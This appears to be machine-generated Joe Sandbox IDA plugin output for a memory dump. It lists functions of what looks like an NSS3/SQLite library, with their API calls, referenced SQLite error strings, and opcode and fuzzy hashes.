Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 92aa50f78b42a9b1fa4513be9cc29ef713a5788dcfeeecce756e5eabcb2629d2
Instruction ID: dfde9eaf98620ffe6d6bdce71c5eaf0db9b0fc8bedab87b15901ec084456c0ea
Opcode Fuzzy Hash: 92aa50f78b42a9b1fa4513be9cc29ef713a5788dcfeeecce756e5eabcb2629d2
Instruction Fuzzy Hash: B97119317042619BEB049F29ED85A7E3379FB46354F1C0229FA2587A80DB36DD85CB92

Function 6CA2AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31,?,?,?,?,?,?,?), ref: 6CA2B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31), ref: 6CA2B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31), ref: 6CA2B0A2
CloseHandle.KERNEL32(?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31,?,?,?,?,?,?,?,?,?), ref: 6CA2B100
sqlite3_free.NSS3(?,?,00000002,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31,?,?,?,?,?,?,?), ref: 6CA2B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31), ref: 6CA2B12D

Part of subcall function 6CA19EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA2C6FD,?,?,?,?,6CA7F965,00000000), ref: 6CA19F0E
Part of subcall function 6CA19EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA7F965,00000000), ref: 6CA19F5D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: f8bd630076e0cf1f6736fd070bd06d3a453a1f12beefc448c33320f852181331
Instruction ID: 8ec4c7d15187a565c9e48f6f9190646f98c7649e46d722c00c9d43282c9003ea
Opcode Fuzzy Hash: f8bd630076e0cf1f6736fd070bd06d3a453a1f12beefc448c33320f852181331
Instruction Fuzzy Hash: F691E1B0A042158FDB14CF39D984A6BB7B6FF45304F1C462DE41697B50EB38E884CB51

Function 6CAFBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CAFBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CAFBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CAFBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CAFBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CAFBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CAFBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CAFBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CAFBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CAFBE1E

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: f6646145b142168bab89939a98f0ecaddcac78fcdc5f0ecccda60c7f68c48e6b
Instruction ID: f1626b27c448ae5f34691c838994a140f204ce1f6111654983274936a2423b56
Opcode Fuzzy Hash: f6646145b142168bab89939a98f0ecaddcac78fcdc5f0ecccda60c7f68c48e6b
Instruction Fuzzy Hash: 3C21D5B6E0028957FB004696FD83F8B36789B9174DF0C0214F936EE681F730945A86A6

Function 6CBA8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBF14E4,6CB5CC70), ref: 6CBA8D47
PR_GetCurrentThread.NSS3 ref: 6CBA8D98

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CBA8E7B
htons.WSOCK32(?), ref: 6CBA8EDB
PR_GetCurrentThread.NSS3 ref: 6CBA8F99
PR_GetCurrentThread.NSS3 ref: 6CBA910A

Strings

%u.%u.%u.%u, xrefs: 6CBA8E74

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 5614f67b7e13cf9858bffcaf70f50f7c563752c9f6498775dfb4638ef8c19306
Instruction ID: 463e200f76c08d3e2d787a5cdb6731494da61c78cd0ce8f211f755c53ffdd05f
Opcode Fuzzy Hash: 5614f67b7e13cf9858bffcaf70f50f7c563752c9f6498775dfb4638ef8c19306
Instruction Fuzzy Hash: 8D029931D092D19FEB188F59C46876ABBB2EF42304F19825ED8D15FA91C333D94AC791

Function 6CA2EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CA2F0A6, 6CA2F2D5
not authorized, xrefs: 6CA2F957, 6CA2F9BA
sqlite_master, xrefs: 6CA2F0AB, 6CA2F2DA, 6CA2F757, 6CA2F93E
view, xrefs: 6CA2F061, 6CA2F071, 6CA2FAB7
there is already an index named %s, xrefs: 6CA2F9D7
authorizer malfunction, xrefs: 6CA2F95C, 6CA2F9BF, 6CA2FA5E, 6CA2FA8B
table, xrefs: 6CA2F05C, 6CA2FABC, 6CA2FAC7
temporary table name must be unqualified, xrefs: 6CA2F734
%s %T already exists, xrefs: 6CA2FAC8

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: c10f057a4fe8289c3480028c8d332cbcbdd06c9b3e00864307a9867db167f1d1
Instruction ID: 054ba72d522498f653538188c7a094f2479322cf7481ee7414b92625aacfe484
Opcode Fuzzy Hash: c10f057a4fe8289c3480028c8d332cbcbdd06c9b3e00864307a9867db167f1d1
Instruction Fuzzy Hash: 1E72A370E042658FDB14CF68C884BAABBF1FF49308F1881ADD9159B752D779E885CB90

Function 6CB49C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CA1C52B), ref: 6CB49D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB4A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB4A114

Strings

database corruption, xrefs: 6CB4A029, 6CB4A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB4A01F, 6CB4A0E4, 6CB4A0FE
%s at line %d of [%.10s], xrefs: 6CB4A02E, 6CB4A10D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: e933d23d031e50b89c38d9499fa2023dae31193f3721af9dcc208cfb8880303c
Instruction ID: 37eeb235df391ff6931f0fe9ab69f5684f0df98ce92b5c8442573764baebfe73
Opcode Fuzzy Hash: e933d23d031e50b89c38d9499fa2023dae31193f3721af9dcc208cfb8880303c
Instruction Fuzzy Hash: 6B22AE71A0C3819FC704CF29C19062AB7E5FF8A344F14CA2DE9DA97A49D735E845EB42

Function 6CB69D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CA28637,?,?), ref: 6CB69E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CA28637), ref: 6CB69ED6

Strings

database corruption, xrefs: 6CB69ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB69EC0
%s at line %d of [%.10s], xrefs: 6CB69ECF

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: e42217c57e781a7eeb2ac415d055abb2fefbebb3757dd59cb8079e77ea540958
Instruction ID: 257758bc8968cc427d8afde6a0284aae3c2dd62e3393a3f780d5ee52a4280f71
Opcode Fuzzy Hash: e42217c57e781a7eeb2ac415d055abb2fefbebb3757dd59cb8079e77ea540958
Instruction Fuzzy Hash: 9581D131F012958FDB04CFAAC980ADEB3F6EF48314B158169E819ABB41E730ED59CB51

Function 6CB77F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB781BC

Strings

out of memory, xrefs: 6CB7835B
BINARY, xrefs: 6CB78126

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 86285d0001dd9941a71bec2096facd1d738c49c5ed10c93c594c178de3a3aa24
Instruction ID: 2b41b2368489cf8b3f3242aa3642f658ab6a074384ad488091965471ddfb2207
Opcode Fuzzy Hash: 86285d0001dd9941a71bec2096facd1d738c49c5ed10c93c594c178de3a3aa24
Instruction Fuzzy Hash: EC52CF31E04298DFDB24CF99C880B9DBBB2FF48308F15815AD825BB751D731A846CBA0

Function 6CAF9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CAF9ED6

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CAF9EE4

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAF9F38

Part of subcall function 6CAFD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CAF9F0B), ref: 6CAFD03B
Part of subcall function 6CAFD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CAFD04E
Part of subcall function 6CAFD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CAFD07B
Part of subcall function 6CAFD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CAFD08E
Part of subcall function 6CAFD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAFD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAF9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CAF9F59

Part of subcall function 6CAF9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CAF9C5B), ref: 6CAF9D82
Part of subcall function 6CAF9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CAF9C5B), ref: 6CAF9DA9
Part of subcall function 6CAF9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CAF9C5B), ref: 6CAF9DCE
Part of subcall function 6CAF9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CAF9C5B), ref: 6CAF9E43

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 838d6a532af507988b7cb29ebc009dd8989c8bfade609466ae2284ab2977ccdb
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: D31108B5F042015BF7109E759D00BAB7394AF9438CF140234F92A8B740FB72E99E8792

Function 6CBACDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBAD086
PR_Malloc.NSS3(00000001), ref: 6CBAD0B9
PR_Free.NSS3(?), ref: 6CBAD138

Strings

>, xrefs: 6CBACF5B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 5d99d8fdda0e9dcc582e8fbed4aaf8e9eb370d3b0cc44404d065e460dbbeb600
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD15D62B8D6C60BEB2448FD9C713E97793C742374F584325D9E18BBE5E61A8847C342

Function 6CB4AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d36a1d916dfe9678930b5691708e931e714273ecb695b63b5321fd2e39b7e4e0
Instruction ID: 546217773ec9e9c37b0471219156f432d64eb4200269951d402152699bb7e784
Opcode Fuzzy Hash: d36a1d916dfe9678930b5691708e931e714273ecb695b63b5321fd2e39b7e4e0
Instruction Fuzzy Hash: 2CF101B1E055A68BDB04CF68D8417AD77F8EB8E748F19822DC911D7B48E7709941CBC1

Function 6CB3DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CA15001,?,00000003,00000000), ref: 6CB3DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CA15001,?), ref: 6CB3E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CA15001,?), ref: 6CB3E2DA

Strings

W, xrefs: 6CB3E111

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: a4b89ef9ed56389ce353365fa1a280c5011d587f4d18ef604d3a78f8fcaa5f06
Instruction ID: fe3d46802ae9ad02f7b4b82cd7be7bb9c306a060a484f9b022104c26d913ecc9
Opcode Fuzzy Hash: a4b89ef9ed56389ce353365fa1a280c5011d587f4d18ef604d3a78f8fcaa5f06
Instruction Fuzzy Hash: 00C12931A456E58BDB05CE6984807EE77B2EF86308F18516ADCADAFB41D731AC01CBD1

Function 6CA26F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CA27049
unordered*, xrefs: 6CA2702B
noskipscan*, xrefs: 6CA27067
*?[, xrefs: 6CA27034, 6CA27052, 6CA27070

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 58c79927d601d95f0d88428c446fbb498ddc8d5ff017c1a15ec07be20d8e6e9d
Instruction ID: 2ff32280193ace2a1a83c5ec5866e05246dc4841ede5129c7593365323556d30
Opcode Fuzzy Hash: 58c79927d601d95f0d88428c446fbb498ddc8d5ff017c1a15ec07be20d8e6e9d
Instruction Fuzzy Hash: DC718D32F051314BDB248A6DC8807AAB3929F85314F2D0238CD55EBFD1D6799ECA87D1

Function 6CA43EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6CA43FAA, 6CA44185
sqlite_temp_master, xrefs: 6CA4460F
sqlite_master, xrefs: 6CA4463F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: f4a82a5f4931e7e44b1f13ecc0415057a5dfb28fa4386baa83ff351f9057c1ce
Instruction ID: 87f268ef4dd87b52b8dab1f69976bafe7d9527c0982f9a27b20af95dd5eea8ea
Opcode Fuzzy Hash: f4a82a5f4931e7e44b1f13ecc0415057a5dfb28fa4386baa83ff351f9057c1ce
Instruction Fuzzy Hash: 35220631B4A5958FDB048F6980606F6BBF2AF46319B6CC598C9E16FE42D225ECC1C790

